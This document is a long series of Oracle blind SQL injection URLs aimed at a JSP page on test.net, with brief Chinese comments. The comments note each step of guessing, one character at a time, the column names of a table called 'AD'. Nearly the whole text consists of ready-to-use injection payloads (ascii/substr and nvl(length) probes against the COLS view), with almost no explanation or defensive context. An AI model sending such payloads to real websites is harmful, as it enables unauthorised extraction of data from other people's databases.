http://www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 51>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 50>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 48=ascii(substr((SELECT COUNT(*) FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  


     以下为猜解第一列的第一个字段名CLASS的长度为：5
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 5<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 9>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 7=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 7>nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 5=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  

     以下为猜解第一列第一个字段的第一位为：C
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 68>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 66=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 66>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  

     以下为猜解第一列第一个字段的第一位为:L
http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  

     以下为猜解第一列第一个字段的第三位为：A
http://www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 83>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  


http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 84>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 81=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 81>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 82>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))  


     以下为猜解第二列：
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 5<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 9>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 7=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 72=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 72=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 81=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 81>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 76=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 76>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))  
